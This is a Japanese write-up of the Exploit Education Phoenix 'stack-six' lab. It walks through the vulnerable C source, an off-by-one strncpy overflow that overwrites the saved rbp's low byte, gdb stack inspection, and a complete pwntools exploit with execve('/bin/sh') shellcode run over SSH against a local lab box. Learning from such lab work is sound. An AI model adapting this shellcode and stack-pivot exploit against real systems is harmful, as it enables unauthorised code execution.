この部分を~/.gdbinit に書き込むと、デバッグ時にスタックの状態がよりリアルになると聞きました。#
(参考https://n1ght-w0lf.github.io/binary exploitation/stack-six/)
unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six
そして、これが問題のソースコードです。#
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
理論#
greet 関数には 2 つのエラーがあります:
-
strncpy 関数は自動的に \0 を追加しませんが、strdup は \0 を終端として判断します。
-
strncpy の開始アドレスは buffer + GREET の長さですが、コピーする長さは maxSize です。これにより、GREET と同じ長さの領域がオーバーフローに使用できます(おそらく 1 を減算しています)。
デバッグしてみると、戻りアドレスを上書きすることはできませんが、スタックにプッシュされた rbp の最後の 2 桁まで上書きすることはできます。
よく知られているように(知らない人はこちらを参照してくださいhttps://zhuanlan.zhihu.com/p/27339191)、関数に入るときには次のような処理が実行されます:
call xxx
;相当于
;push $+1
;jmp xxx
push rbp
mov rbp, rsp
sub rsp, xxx
そして、関数から戻るときには次のような処理が実行されます:
leave
ret
これは次のようになります:
mov rsp, rbp
pop rbp
pop rip
greet 関数のスタックに格納されている(前の)rbp を x に変更すると、*x
は main 関数のスタックの底になり、*x+8
は main 関数の戻りアドレスになります。
理論があるので、実践を始めましょう#
gdb でデバッグすると、変更できる範囲は 0x7fffffffe500〜0x7fffffffe5ff です。
次のコマンドでこの範囲に含まれる内容を確認します。
x/32xg 0x00007fffffffe500
ついでに、入力した内容がどこにあるかも確認しましょう。(注意:スタックの範囲外のものは使用しないでください(疑問が残りますが、とりあえず無視します))
(gdb) grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffeee5 - 0x7fffffffef1c → "ExploitEducation=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
先頭を削除して、入力範囲を確定します。
>>> hex(0xeee5+len("ExploitEducation="))
'0xeef6'
>>> hex(0xeee5+126)
'0xef63'
先ほど見た範囲に戻ります(書き方が正しくないかもしれませんが、気にしません)。
0x7fffffffe5c8
にはちょうど0x00007fffffffeef6
が含まれています。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'\x90'*20
shellcode += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += b"A"*(126-len(shellcode))+b'\xc0'
sh = shell.run("/opt/phoenix/amd64/stack-six", env={"ExploitEducation": shellcode})
print(sh.recvline())
sh.interactive()
完了です。